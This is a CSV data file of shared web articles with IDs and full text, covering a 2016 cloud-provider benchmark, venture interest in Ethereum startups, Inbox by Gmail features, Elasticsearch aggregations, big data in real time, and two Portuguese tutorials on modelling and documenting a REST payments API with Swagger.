1461211879,CONTENT SHARED,7229629480273331039,-1032019229384696495,-6158072573466935774,,,,HTML,http://www.businessinsider.com/organization-ranks-google-as-best-cloud-2016-4,"An independent organization just ranked Google as the best cloud, beating Amazon","Fortune Global Forum Amazon may be the 800-pound gorilla of the cloud computing market, but some new research indicates that Google offers the best cloud in the for the money. So says a cloud benchmark of top US clouds developed by French IT business news site JDN, based on a similar benchmark of clouds in France . JDN banded together with two companies that test cloud performance, CloudScreener and Cedexis, to determine the best clouds. They looked at Amazon Web Services, Google Compute Engine, IBM SoftLayer, Microsoft Azure, and Rackspace. Cloudscreener tested the clouds for performance, prices and level of service. Cedexis tested for network performance. All told, they came up with four rankings: a price ranking, a performance ranking, a service level ranking (a way to measure reliability), and an overall ranking. Google won the overall ranking with a score of 85 out of a 100. Amazon came in second with 75 and IBM was third at 72. (They're not listed on the chart, but Microsoft Azure landed in No. 4, with 63 and Rackspace in last with 62.) JDN/CloudScreener/Cedexis U.S. Cloud Benchmark Google's victory is largely because it won the price war, coming in as less expensive than the others for the same type of cloud configuration. The index tested three common types of cloud services companies buy: a large Windows machine, a large Linux machine, and a combination of machines (a ""cluster""). JDN/CloudScreener/Cedexis U.S. Cloud Benchmark Rackspace won as the best performing cloud. And Amazon won the ""Service Level"" rankings which looked at things like having data centers in different regions and certifications that prove the cloud is secure. While this is just one attempt to compare and rank clouds, it's a good sign for Google, because most enterprises will do their own kinds of testing before picking them. Right now, Amazon is the big cloud leader. But the market is young and Google intends to be a player. ""Every business in the world is going to run on cloud eventually,"" Google CEO Sundar Pichai said a few months ago on a post earnings call . ""There's great buzz at Google around this area, and we continue to heavily ramp up investment here."" Disclosure: Jeff Bezos is an investor in Business Insider through his personal investment company Bezos Expeditions.",en
1461247253,CONTENT SHARED,1485652648052127324,4340306774493623681,3866427560989923872,,,,HTML,http://www.coindesk.com/first-ethereum-startup-funding-investor-says/,"For Blockchain VCs, the Time for Ethereum Investments Has Come - CoinDesk","Just a few months after the platform's production launch, the first Ethereum startups are already receiving interest, and in some cases, undisclosed investments, from digital currency-focused VC firms. Interviews with four of the leading blockchain and digital currency industry investors revealed that many are already performing due diligence on startups utilizing the decentralized application platform. Announced in 2014, Ethereum has gained significant traction of late following a successful hard fork and testing from major financial institutions. Travis Scher, investment associate at Digital Currency Group ( DCG ), for instance, said the New York-based firm has so far evaluated 20 to 30 startups working on Ethereum, while Blockchain Capital managing partner told CoinDesk that the firm has already made two as-yet-undisclosed investments in such startups. Stephens said that Blockchain Capital, one of the technology's most active early-stage investors, is ""bullish"" on Ethereum due to the positive feedback its technology has received from institutions. The firm has even appointed a junior associate, Jeremy Gardner, to focus on the area for its portfolio, which includes industry startups such as Coinbase and Xapo . Stephens told CoinDesk: ""We love bitcoin, we love the bitcoin blockchain, but we also see a multi-chain future. Some of the enterprise customers are interested in federated and private chains and Ethereum is pretty high on the list."" When announced, such an investment would mark an early sign of confidence for Ethereum, which only recently launched with a limited set of features. In the months and years ahead, the platform plans a number of complex updates, including a switch from proof-of-work transaction verification to a proof-of-stake approach. Other bitcoin and blockchain-focused venture firms including DCG, Boost VC and Pantera Capital indicated they are interested in investing in Ethereum startups, but have not yet provided funding to any entrepreneurs. DCG said it expects to make its first investment in a digital currency company in Q2 or Q3 of 2016, and that ""a few"" Ethereum startups would likely join its portfolio by the year's end. By contrast, the first investment in a company working on the bitcoin protocol wasn't made until April 2012, more than three years after its first block was mined in January 2009. At the time, Draper Associates made a seed investment in the now-defunct bitcoin-focused incubator CoinLab . Investment challenges As for why investors aren't yet placing any bets, most respondents suggested they felt it was too early to tell how strong Ethereum's ecosystem will remain. Such statements coincide with long-standing statements from industry investors that the health of bitcoin's developer ecosystem is one of its most attractive attributes. ""One of the challenges in evaluating Ethereum startups is the community is still fairly small and some of the entrepreneurs are newer to the cryptocurrency ecosystem, making it difficult to navigate,"" Meltem Demirors, director of community at DCG, told CoinDesk. Demirors went on to describe the early bitcoin ecosystem as perhaps more connected and more technical than the Ethereum ecosystem of today. Others, like Brayton Williams, co-founder of Silicon Valley-based incubator Boost VC, indicated that there is perhaps a lack of mature entrepreneurs building on the technology. ""For us we need to first find great people who are out to solve a problem and that are confident Ethereum could be the solution or provide tools for the solution,"" he told CoinDesk. ""We do our best to avoid those who are just very excited about Ethereum technology and then go try to find a problem."" Paul Veradittakit, venture investor at Pantera Capital , noted that his firm is often pegged as a bitcoin-only investor, but that it has been eager to take a multi-blockchain approach, something he suggested Ethereum now allows. Yet, he said the firm has questions about how the technology will overcome upcoming challenges. ""You want to make sure that security is well thought out, the scalability, in terms of what are the use cases,"" Veradittakit said. ""We've been monitoring it."" Veradittakit said Pantera has no plans as of now to offer an ether fund to complement its bitcoin fund, introduced in 2014 . Bitcoin startup interest A driver factor behind the interest, respondents said, is that digital currency industry firms are paying attention to, and implementing, Ethereum as part of their market approach. Stephens noted that a number of Blockchain Capital's portfolio firms, including Bitfinex , Kraken and BitGo , are now offering Ethereum services, and that GoCoin, a payment processing firm, would soon add support. ""We're seeing a lot of companies add Ethereum. Instead of selling chocolate, now they have chocolate and vanilla,"" he said. Demirors said that some DCG portfolio companies are taking a similar path, building infrastructure for the ecosystem's service providers. ""I think many of the early movers we'll see in this ecosystem are existing bitcoin companies that can leverage their operational capabilities and strategic relationships with banks, regulators and other stakeholders to begin building a robust, global network for exchanging, holding, storing and managing ether,"" she said. Notably, such a logic has been historically used by the financial industry to suggest why it might be more able to help blockchain-based technologies reach the mass market. Growth potential As for the growth potential for Ethereum startups, respondents were mixed on projections. DCG's Scher said that a cornerstone of its investment thesis is that bitcoin is both a secure store of value and a financial rail, and that Ethereum is unlikely to compete against the bitcoin in these areas. However, Scher sees Ethereum potentially competing against bitcoin in serving as a platform for smart contracts, identity management and provenance, other potentially large and impactful areas for the technology. ""Startups building these types of products and services may opt to use Ethereum in the future because of its ease of use and other features that it possesses, and that's a terrific development for us and the blockchain ecosystem,"" he said. Demirors said she believes the Ethereum community could one day surpass bitcoin in terms of the number of developers it attracts due to an easier scripting language, but said that it's not out of the question innovators won't find solutions to these issues. Stephens noted that he sees interest in Ethereum as positive, but that VC firms are just now beginning to analyze the industry for potential investments. ""It's still early. We've met with over a dozen companies, and only a few of them in our opinion are investable,"" Stephens said, concluding: ""I think that will change."" Disclaimer: Homestead image via Ethereum Blockchain Capital Boost VC Digital Currency Group Ethereum Pantera CoinDesk is a subsidiary of Digital Currency Group.",en
1461256156,CONTENT SHARED,-5781461435447152359,-1032019229384696495,-6158072573466935774,,,,HTML,https://gmail.googleblog.com/2016/04/inbox-by-gmail-better-way-to-keep-track.html,"Inbox by Gmail: a better way to keep track of events, newsletters and links","Life can get really busy. Inboxes too. Just think about everything inside your own inbox, from personal messages and trip itineraries to promotional offers and yes, even bills. It's all (mostly) important, but it can be overwhelming to stay on top of everything. And sometimes, you might miss something really important amidst all the rest. Starting today, you'll discover three new experiences in Inbox-streamlined events, glanceable newsletters and saved links-that help you better keep track of things that matter to you and feel more in control. Keep up with Google Calendar events Events can be hard to keep track of in your inbox because details-and people's plans-may change. Inbox now gathers emails from a single event together and shows you what's changed at a glance. When you tap on an event, you'll see a comprehensive overview, all in one place. Stay on top of your favorite email newsletters Similarly, it's now easier to preview the newsletters you read often and click through to the articles that interest you most. And once you've taken a look at the latest, newsletters will minimize to save space in the inbox. Store links to remember with ""Save to Inbox"" Lastly, your inbox is much more than just the emails sent to you. Chances are you've emailed yourself a link or two (or three)-to an article you want to read later or a recipe you want to try. Now instead of sending yourself a bunch of separate emails, try the new ""Save to Inbox"" feature to easily save links for later. Simply share the link to Inbox on Android or iOS, or use the new Inbox by Gmail Chrome extension on web . When you check your email, you'll see your saved links grouped together in one place. With these updates, Inbox helps you organize and access the information that matters most, saving time and reducing email overload. Take these new features for a spin by sharing to Inbox on mobile, installing the Chrome extension , subscribing to an email newsletter or scheduling an event.",en
1461261450,CONTENT SHARED,-8984665034930053829,-3596626804281480007,-5552270000854403665,,,,HTML,https://qbox.io/blog/elasticsearch-aggregations,An Introduction to Elasticsearch Aggregations,"The aggregations feature set is one of the most exciting and beneficial in the entire Elasticsearch offering, largely because it provides a very attractive alternative to facets. In this tutorial, we explain aggregations in Elasticsearch and step through some examples. We compare metric and bucket aggregations and show how you can exploit aggregation nesting (which is not possible with facets).",en
1461261956,CONTENT SHARED,8878031598946138458,-108842214936804958,-8177682085468956390,,,,HTML,http://techcrunch.com/2016/04/20/inbox-by-gmail-now-helps-you-track-events-save-links-and-stay-on-top-of-newsletters/,"Inbox by Gmail now helps you track calendar events, save links and stay on top of newsletters","Google is launching an update to Inbox by Gmail today that adds three new features to the company's Gmail-based next-gen email client for the web and mobile. Probably the most interesting of these new features is that Inbox can now help you keep track of events and the emails you send back and forth about them. This feature is linked to Calendar invites, similar to how trip bundles are triggered by hotel or flight bookings. Google tells me this is based on the same technology that powers Inbox's trip bundles, which pull all your hotel, flight, restaurant and car reservations into a single, shareable bundle. The second new feature focuses on newsletters. When Gmail first started bundling promotional emails into their own tab, away from the main inbox, it set off a wave of unease among marketers and companies that send newsletters. Given that Inbox does essentially the same thing (and also bundles everything it doesn't consider a priority into a ""low priority"" bundle), newsletter distributors probably see even lower open rates from Inbox users (though you can always set your favorite newsletters to show in your priority inbox, of course). Now, however, the company is actually making reading newsletters in Inbox quite a bit more efficient. Inbox will now show you a preview of what's in the latest edition of a newsletter (including our own TechCrunch ones , for example), with a focus on the links shared in those newsletters. I'm not a heavy newsletter subscriber, but whether Inbox used this feature or not was a bit hit or miss. It worked for Quora and our TechCrunch digests, for example, but not for Politico's daily emails. A Google spokesperson told me the feature currently works with many of the most popular newsletters and the team will continue to add more. Clearly, though, this feature will work best for the kind of daily link digests most news sites now offer their readers. Also new in Inbox is the ability to save and share links more easily. At first glance, that may seem a bit like a strange feature to add - Inbox isn't Pocket , after all - but it's probably true that a lot of people email links to themselves to remember them. With this new feature, you can both save links to Inbox and share them with others. On mobile, you can use the OS's built-in sharing dialog to save and share links, but Inbox will also notice that you have copied a link to your clipboard and will automatically pop up a little icon over the ""+"" button to let you perform the same tasks. On desktop, you can use this same button, but Google also today launched a Chrome extension that lets you save and share a link from anywhere on the web (and if you use multiple email accounts, the extensions thankfully lets you choose which one you want to use).",en
1461266375,CONTENT SHARED,-8340365043226490059,-1032019229384696495,-6158072573466935774,,,,HTML,http://boletim.de/silvio/big-data-real-time/,big data = real time,"tá fazendo dois anos que a gente deu uma definição pra big data aqui no blog . e ela diz que... ...a expressão BIG DATA se refere qualquer coleção de dados cuja combinação de [tamanho da coleção], [dos tipos de dados e das suas fontes ] e velocidade [de geração e captura dos dados e de eventuais mudanças de formatos , fontes ... e seu efeito no ciclo de vida da informação ] esteja no limite ou exceda os métodos, processos, algoritmos e capacidade computacional contemporânea para simplificar seu entendimento através de sínteses capazes de gerar significados para os modelos e processos de negócio para os quais estão sendo levados em conta. se a gente, em rede, já cria o volume de dados atual [90% de toda informação existente apareceu nos últimos 2, 3 anos ], imagine o que vai acontecer quando a internet das coisas ""pegar"". os impactos serão universais, como se pode ver na figura abaixo [que ainda se pode dizer incompleta; ela está em The Internet of Things VISION, de Eleonora Borgia ] dependendo do seu grau de otimismo e credulidade, os números de dispositivos conectados, já ali em 2020, é astronômico. pelas contas da NCTA , nada menos do que 50 bilhões, incluindo nossos laptops, tablets e os smartphones. vamos ver se chegamos lá. é desse mundo de dispositivos, usuários e aplicações que virá um universo de dados, em tempo real. ou quase. para os quais uma coisa é certa: só serão realmente úteis para as instituições que os terão se forem tratados em tempo quasi-real. e o que nos dá uma boa ideia disso é a imagem abaixo, modificada a partir de um original de richard hackathorn, publicado em "" The BI Watch: Real-Time to Real-Value ."". a imagem original foi usada no relatório do fórum econômico mundial Global Information Technology Report 2014 . observe, entenda e leia o comentário depois da imagem. a observação de hackathorn, dada bem antes da expressão se popularizar, estava associada a uma discussão sobre business intelligence e data warehousing nos negócios e alertava que dados e inteligência não interessam aos negócios per se . o que importa é o valor que eles criam ao serem utilizados para tomadas de decisão que, por sua vez, levam a ações concretas de interesse do negócio [porque, na maioria das vezes, de interesse de seus clientes e usuários]. o que o gráfico tenta mostrar é que o valor dos dados capturados em um evento de negócios qualquer cai, e muito [o muito é nosso; a curva original de hackathorn é mais suave ], à medida que o ponto de tomada de decisão para ação, no tempo, se distancia do ponto em que o evento aconteceu. o que a curva não diz é que, em certas situações, quando a distância é grande demais, é melhor nem tomar uma decisão e agir sobre um problema [por exemplo] que acabamos de descobrir que aconteceu lá atrás... porque qualquer ação, agora, pode piorar um estado de coisas que talvez já tenha se resolvido por si só . é certo que com organização e tempo, acha-se o segredo de fazer tudo e bem feito [atribuído a pitágoras]; mas o problema das instituições, aqui, vai ser o de... desenvolver as novas formas de organização e uso do tempo que as permita usar, melhor do que seus competidores, o grande volume e variedade de dados que vão vir da internet das suas coisas, em alta velocidade, para simplificar seu entendimento [de mundo!...] através de sínteses capazes de gerar significados para os modelos e processos de negócio para os quais estão sendo levados em conta. simplesmente porque quem conseguir fazer isso terá uma chance bem maior de sobreviver ao dilúvio de dados em que já estamos. sobre o autor: Silvio Meira",pt
1461267911,CONTENT SHARED,-6346370309134074019,4209517478660372522,2911195148391615485,,,,HTML,http://blog.caelum.com.br/documentando-uma-api-jax-rs-com-swagger/,Documentando uma API JAX-RS com Swagger,"Em um post anterior , falamos sobre como modelar uma API REST com o Swagger. Essa abordagem, em que pensamos nos detalhes da API antes da implementá-la, é conhecida como Contract-First ou API-First. Uma outra abordagem, talvez mais comum, é iniciar pela implementação da API para só então documentá-la. Essa abordagem é conhecida como Contract-Last . Vamos utilizar o Swagger para documentar uma API REST tanto para máquinas quanto para humanos. Lembrando da API do Payfast Documentaremos a API do Payfast, uma API de pagamentos simplificada que implementamos no curso SOA na prática , utilizando JAX-RS. Entre as classes de modelo, temos Transacao e Pagamento : public class Transacao { private String numero; private String titular; private LocalDate data; private BigDecimal valor; //getters e setters... } public class Pagamento { private Integer id; private String status; private BigDecimal valor; //getters e setters... } Na nossa API REST, um POST em /pagamentos cria um novo pagamento a partir de uma transação. Então é possível confirmar o pagamento com um PUT ou cancelá-lo com um DELETE. Uma implementação dessa API utilizando JAX-RS seria algo como: @Path(""/pagamentos"") public class PagamentoResource { //... @POST @Consumes(MediaType.APPLICATION_JSON) public Response criarPagamento(Transacao transacao) throws URISyntaxException { //aqui, código que cria pagamento a partir da transacao... return Response.created(new URI(""/pagamentos/"" + pagamento.getId())).entity(pagamento) .type(MediaType.APPLICATION_JSON).build(); } @PUT @Path(""/{id}"") @Produces(MediaType.APPLICATION_JSON) public Response confirmarPagamento(@PathParam(""id"") Integer id) { //aqui, código que confirma pagamento... return Response.ok().entity(pagamento).build(); } @DELETE @Path(""/{id}"") @Produces(MediaType.APPLICATION_JSON) public Response cancelarPagamento(@PathParam(""id"") Integer id) { //aqui, código que cancela pagamento... return Response.ok().entity(pagamento).build(); } } Nota: Para que a serialização de/para JSON funcione para o java.time.LocalDate da classe Transacao em um servidor Java EE 7, são necessárias algumas configurações . Fazemos isso na classe JacksonJavaTimeConfiguration . Não podemos esquecer de habilitar o JAX-RS na nossa aplicação: @ApplicationPath(""/v1"") public class PagamentoService extends Application { } Configurando o Swagger na sua API Para usar o Swagger para documentar nossa API, precisamos de seus jars. A melhor maneira é utilizar alguma ferramenta de gerenciamento de dependências. Para configurar a dependência com o Maven: <dependency> <groupId>io.swagger</groupId> <artifactId>swagger-jaxrs</artifactId> <version>1.5.7</version> </dependency> Nota: Pode ser interessante excluir algumas dependências transitivas do swagger-jaxrs . Por meio da classe BeanConfig , do pacote io.swagger.jaxrs.config , fazemos configurações básicas como título, descrição e versão da API, endereço do servidor e contexto da aplicação, se é usado HTTP ou HTTPS e pacotes cujos recursos REST devem ser escaneados. Criamos um objeto dessa classe no construtor de PagamentoService e ao invocar o método setScan , as configurações são realizadas. @ApplicationPath(""/v1"") public class PagamentoService extends Application { public PagamentoService() { BeanConfig conf = new BeanConfig(); conf.setTitle(""Payfast API""); conf.setDescription(""Pagamentos rápidos""); conf.setVersion(""1.0.0""); conf.setHost(""localhost:8080""); conf.setBasePath(""/fj36-payfast/v1""); conf.setSchemes(new String[] { ""http"" }); conf.setResourcePackage(""br.com.caelum.payfast""); conf.setScan(true); } } Além disso, precisamos carregar as classes ApiListingResource e SwaggerSerializers do Swagger. Para isso, sobrescrevemos o método getClasses de Application , em PagamentoService . Uma coisa chata é que, ao fazermos isso, precisamos adicionar manualmente a classe JacksonJavaTimeConfiguration e o recurso PagamentoResource . @ApplicationPath(""/v1"") public class PagamentoService extends Application { public PagamentoService() { //código omitido... } @Override public Set<Class<?>> getClasses() { Set<Class<?>> resources = new HashSet<>(); resources.add(JacksonJavaTimeConfiguration.class); resources.add(PagamentoResource.class); //classes do swagger... resources.add(ApiListingResource.class); resources.add(SwaggerSerializers.class); return resources; } } Para que o Swagger gere a documentação para o nosso recurso, devemos anotar a classe PagamentoResource com @Api : @Api @Path(""/pagamentos"") public class PagamentoResource { //restante do código... } Obtendo a documentação gerada pelo Swagger Então, podemos obter o JSON e YAML que descrevem nossa API nas seguintes URLs, respectivamente: e O JSON e o YAML gerados pelo Swagger a partir do nosso recurso PagamentoResource usam a linguagem OpenAPI para detalhar URIs, Content-Types, métodos HTTP aceitos, códigos de resposta e modelos de dados. O YAML gerado ficaria assim: --- swagger: ""2.0"" info: description: ""Pagamentos rápidos"" version: ""1.0.0"" title: ""Payfast API"" host: ""localhost:8080"" basePath: ""/fj36-payfast/v1"" schemes: - ""http"" paths: /pagamentos: post: operationId: ""criarPagamento"" parameters: - in: ""body"" name: ""body"" required: false schema: $ref: ""#/definitions/Transacao"" responses: default: description: ""successful operation"" /pagamentos/{id}: put: operationId: ""confirmarPagamento"" parameters: - name: ""id"" in: ""path"" required: true type: ""integer"" format: ""int32"" responses: default: description: ""successful operation"" delete: operationId: ""cancelarPagamento"" parameters: - name: ""id"" in: ""path"" required: true type: ""integer"" format: ""int32"" responses: default: description: ""successful operation"" definitions: Transacao: type: ""object"" properties: numero: type: ""string"" titular: type: ""string"" data: type: ""string"" format: ""date"" valor: type: ""number"" Pagamento: type: ""object"" properties: id: type: ""integer"" format: ""int32"" status: type: ""string"" valor: type: ""number"" Bem parecido com o que fizemos no post anterior. Corrigindo alguns detalhes Há algumas diferenças entre o YAML modelado para a nossa API no post anterior e o YAML gerado pelo Swagger a partir de PagamentoResource . Para o POST em /pagamentos , as diferenças mais relevantes são: Não há uma descrição (summary) Sumiram os content-types recebidos e enviados O response ficou com uma descrição genérica, sem o cabeçalho de Location nem o status 201 O parâmetro está não obrigatório e com um nome ruim ( body ) Para definir uma descrição e content-types para o POST em /pagamentos , devemos utilizar a anotação @ApiOperation . Para o status e cabeçalho no response, usamos as anotações @ApiResponses , @ApiResponse e @ResponseHeader . Para modificar a obrigatoriedade e nome do parâmetro, usamos @ApiParam . @ApiOperation( value = ""Cria novo pagamento"", consumes = MediaType.APPLICATION_JSON, produces = MediaType.APPLICATION_JSON) @ApiResponses( @ApiResponse( code=201, message=""Novo pagamento criado"", response = Pagamento.class, responseHeaders= @ResponseHeader( name=""Location"", description=""uri do novo pagamento"", response=String.class))) @POST @Consumes(MediaType.APPLICATION_JSON) public Response criarPagamento( @ApiParam( value=""Transação"", name=""transacao"", required=true) Transacao transacao) throws URISyntaxException { //código omitido... } Após essas configurações, o trecho do POST no YAML passaria a ser gerado assim: /pagamentos: post: summary: ""Cria novo pagamento"" description: """" operationId: ""criarPagamento"" consumes: - ""application/json"" produces: - ""application/json"" parameters: - in: ""body"" name: ""transacao"" description: ""Transação"" required: true schema: $ref: ""#/definitions/Transacao"" responses: 201: description: ""Novo pagamento criado"" schema: $ref: ""#/definitions/Pagamento"" headers: Location: type: ""string"" description: ""uri do novo pagamento"" Bem parecido com o que tinhamos antes! As diferenças mais importantes para o PUT e o DELETE são as seguintes: Não há o status 200 no response O path parameter está duplicado Podemos usar a anotação @ApiResponse para melhorar as informações do response. Infelizmente, não há como evitar a duplicação do parâmetro id . @ApiResponses( @ApiResponse( code=200, message=""Pagamento confirmado"", response = Pagamento.class)) @PUT @Path(""/{id}"") @Produces(MediaType.APPLICATION_JSON) public Response confirmarPagamento(@PathParam(""id"") Integer pagamentoId) { //código omitido... } @ApiResponses( @ApiResponse( code=200, message=""Pagamento cancelado"", response = Pagamento.class)) @DELETE @Path(""/{id}"") @Produces(MediaType.APPLICATION_JSON) public Response cancelarPagamento(@PathParam(""id"") Integer pagamentoId) { //código omitido... } O trecho correspondente do YAML ficaria: /pagamentos/{id}: put: operationId: ""confirmarPagamento"" parameters: - name: ""id"" in: ""path"" required: true type: ""integer"" format: ""int32"" responses: 200: description: ""Pagamento confirmado"" schema: $ref: ""#/definitions/Pagamento"" delete: operationId: ""cancelarPagamento"" parameters: - name: ""id"" in: ""path"" required: true type: ""integer"" format: ""int32"" responses: 200: description: ""Pagamento cancelado"" schema: $ref: ""#/definitions/Pagamento"" Documentação para humanos Temos o JSON e o YAML, mas esses formatos não são legíveis para pessoas. São quase tão difíceis de ler quanto um WSDL. Em Web Services do estilo SOAP, é bastante comum que sejam disponibilizados PDFs que focam em descrever a API para humanos. É o caso dos Correios e da Nota Fiscal Paulista , por exemplo. Será que precisamos escrever um PDF manualmente? Seria interessante alguma maneira de transformar esse JSON ou YAML em uma página HTML com boa usabilidade. Para isso, há o projeto Swagger UI ! Na página da ferramenta , podemos baixar um zip com o último release. Depois de extrair, basta copiar o conteúdo da pasta dist para uma pasta doc no document root folder (WebContent ou webapp) do nosso projeto. Então, a página da documentação estaria acessível em: O estranho é que a documentação exibida não seria da nossa API, mas de uma tal de PetStore. É um exemplo que vem configurado no Swagger UI. Precisamos modificar o seguinte trecho de JavaScript da página index.html , corrigindo a URL. url = "" Devemos mudar para: url = ""../v1/swagger.json""; Ao acessar novamente a página, teríamos uma documentação razoavelmente legível: O Swagger UI, através de um código JavaScript, transforma o swagger.json nessa documentação. É possível disparar requisições de teste com diferentes content-type. É possível utilizar autorização, oauth, entre várias outras funcionalidades. O código desse post pode ser encontrado em: E você? Já usou o Swagger em algum projeto para documentar uma API existente, no estilo Contract-Last? Conte-nos como foi a experiência!",pt
1461273189,CONTENT SHARED,3906974906788964502,4209517478660372522,2911195148391615485,,,,HTML,http://blog.caelum.com.br/modelando-apis-rest-com-swagger/,Modelando APIs REST com Swagger,"Atualmente é bem comum que empresas utilizem APIs REST para a integração de aplicações, seja para consumir serviços de terceiros ou prover novos serviços. Ao consumir uma API existente, precisamos conhecer as funcionalidades disponíveis e detalhes de como invocá-las: recursos, URIs, métodos, Content-Types e outras informações. Ao prover uma nova API REST, além da implementação, há outras duas preocupações comuns: como modelar e documentar a API? Ferramentas para modelagem e documentação de APIs REST Em um Web Service do estilo SOAP temos o WSDL , que funciona como uma documentação (para máquinas) do serviço, facilitando a geração automatizada dos clientes que vão consumi-lo. Além disso, podemos modelar nosso serviço escrevendo o WSDL, em uma abordagem conhecida como Contract-First . Não é nada legível nem fácil de escrever, mas funciona. Só que no mundo dos Web Services REST não temos o WSDL. E agora? Algumas ferramentas para nos auxiliar nessa questão foram criadas, e dentre elas temos: WSDL 2.0, WADL, API Blueprint, RAML e Swagger. Neste post vamos abordar o Swagger , que é uma das principais ferramentas utilizadas para modelagem, documentação e geração de código para APIs do estilo REST. Mas o que exatamente é o Swagger? O Swagger é um projeto composto por algumas ferramentas que auxiliam o desenvolvedor de APIs REST em algumas tarefas como: Modelagem da API Geração de documentação (legível) da API Geração de códigos do Cliente e do Servidor, com suporte a várias linguagens de programação Para isso, o Swagger especifica a OpenAPI , uma linguagem para descrição de contratos de APIs REST. A OpenAPI define um formato JSON com campos padronizados (através de um JSON Schema ) para que você descreva recursos, modelo de dados, URIs, Content-Types, métodos HTTP aceitos e códigos de resposta. Também pode ser utilizado o formato YAML, que é um pouco mais legível e será usado nesse post. Além da OpenAPI, o Swagger provê um ecossistema de ferramentas. As principais são: Swagger Editor - para a criação do contrato Swagger UI - para a publicação da documentação Swagger Codegen - para geração de ""esqueletos"" de servidores em mais de 10 tecnologias e de clientes em mais de 25 tecnologias diferentes Nesse post, vamos focar na parte de modelagem de uma nova API. Futuramente teremos outro post focando na documentação de uma API já existente. Modelando a API da Payfast Para modelar nossa nova API, utilizaremos o Swagger Editor. Você pode instalá-lo localmente , executando uma aplicação NodeJS, ou utilizar a versão online em editor.swagger.io . Vamos modelar a API da Payfast, uma aplicação de pagamentos bem simples que é estudada no curso SOA na prática . Pra começar, devemos definir algumas informações iniciais, como a versão do Swagger que estamos usando: swagger: '2.0' O título, descrição e versão da API devem ser definidos: info: title: Payfast API description: Pagamentos rápidos version: 1.0.0 Em host , inserimos o endereço do servidor da API, em basePath colocamos o contexto da aplicação e em schemes informamos se a aplicação aceita HTTP e/ou HTTPS. host: localhost:8080 basePath: /fj36-payfast/v1 schemes: - http - https Defininindo o modelo de dados De alguma forma, precisamos definir quais dados são recebidos e retornados pela API. Na nossa API, recebemos dados de uma Transação , que tem um código, titular, data e valor. A partir disso, geramos um Pagamento com id, status e valor. Em um WSDL, esse modelo de dados é definido através de um XML Schema (XSD). No caso do Swagger, o modelo de dados fica em um JSON Schema na seção definitions do contrato. De acordo com o JSON Schema, em type podemos usar tipos primitivos de dados para números inteiros ( integer ), números decimais ( number ), textos ( string ) e booleanos ( boolean ). Esses tipos primitivos podem ser modificados com a propriedade format . Para o tipo integer temos os formatos int32 (32 bits) e int64 (64 bits, ou long). Para o number , temos os formatos float e double . Não há um tipo específico para datas, então temos que utilizar uma string com o formato date (só data) ou date-time (data e hora). Além dos tipos primitivos, podemos definir objetos com um type igual a object . Esses objetos são compostos por várias outras propriedades, que ficam em properties . No nosso caso, o modelo de dados com os objetos Transacao e Pagamento ficaria algo como: definitions: Transacao: type: object properties: codigo: type: string titular: type: string data: type: string format: date valor: type: number format: double Pagamento: type: object properties: id: type: integer format: int32 status: type: string valor: type: number format: double Defininindo os recursos da API Com o modelo de dados pronto, precisamos modelar os recursos da nossa API e as respectivas URIs. No Payfast, teremos o recurso Pagamento acessível pela URI /pagamentos . Um POST em /pagamentos cria um novo pagamento. Se o pagamento criado tiver o id 1, por exemplo, as informações estariam acessíveis na URI /pagamentos/1 . Podemos fazer duas coisas com o nosso pagamento: para confirmá-lo, devemos enviar um PUT para /pagamentos/1 ; para cancelá-lo, enviamos um DELETE. No Swagger, as URIs devem ser descritas na seção paths : paths: /pagamentos: post: summary: Cria novo pagamento /pagamentos/{id}: put: summary: Confirma um pagamento delete: summary: Cancela um pagamento Definindo os parâmetros de request Para a URI /pagamentos , que recebe um POST, é enviada uma transação no corpo da requisição, que deve estar no formato JSON. É feita uma referência ao modelo Transacao definido anteriormente. paths: /pagamentos: post: summary: Cria novo pagamento consumes: - application/json parameters: - in: body name: transacao required: true schema: $ref: '#/definitions/Transacao' Já para a URI /pagamentos/{id} , é definido um path parameter com o id do pagamento. Esse parâmetro pode ser descrito na seção parameters , logo acima da seção paths , e depois referenciado nos métodos. parameters: pagamento-id: name: id in: path description: id do pagamento type: integer format: int32 required: true paths: /pagamentos: #código omitido... /pagamentos/{id}: put: summary: Confirma um pagamento parameters: - $ref: '#/parameters/pagamento-id' delete: summary: Cancela um pagamento parameters: - $ref: '#/parameters/pagamento-id' Definindo os tipos de response Definidos os parâmetros de request , precisamos modelar o response . Depois da criação do pagamento, deve ser retornado um response com o status 201 (Created) juntamente com a URI do novo pagamento no header Location e uma representação em JSON no corpo da resposta. paths: /pagamentos: post: summary: Cria novo pagamento consumes: - application/json produces: - application/json #código omitido... responses: '201': description: Novo pagamento criado schema: $ref: '#/definitions/Pagamento' headers: Location: description: uri do novo pagamento type: string Após a confirmação de um pagamento, é simplesmente retornado o status 200 (OK). O mesmo retorno acontece após um cancelamento. /pagamentos/{id}: put: summary: Confirma um pagamento parameters: - $ref: '#/parameters/pagamento-id' responses: '200': description: 'Pagamento confirmado' delete: summary: Cancela um pagamento parameters: - $ref: '#/parameters/pagamento-id' responses: '200': description: 'Pagamento cancelado' O contrato final do exemplo utilizado pode ser aberto no Swagger Editor em: bit.ly/swagger-editor-payfast-api Perceba que no menu superior temos a opção Generate Server para gerar um esqueleto do servidor em Java (JAX-RS e Spring-MVC), PHP (Slim e Silex), Python (Flask), entre outras tecnologias. Há também a opção Generate Client , que gera clientes nessas tecnologias e em diversas outras. Concluindo A abordagem utilizada nesse post foi a conhecida como Contract-First ou API-First Development . Modelamos a API pensando nos dados, nos recursos, URIs, métodos, parâmetros e respostas. Começamos a definição do serviço criando primeiro a API de comunicação, para só posteriormente pensar na implementação. Esta abordagem gera um desacoplamento entre implementação e interface de uso, além de permitir que tando o lado cliente quanto o lado servidor possam iniciar seu desenvolvimento assim que a API estiver definida, mesmo sem uma implementação finalizada. Uma outra abordagem (talvez mais comum) é começar pela implementação para só depois pensar na documentação e talvez realizar ajustes de modelagem. Essa abordagem é conhecida como Contract-Last e o uso dela com Swagger será abordado em outro post. E você? Já usou o Swagger em algum projeto para modelar uma nova API, no estilo Contract-First? Conte-nos como foi a experiência!",pt
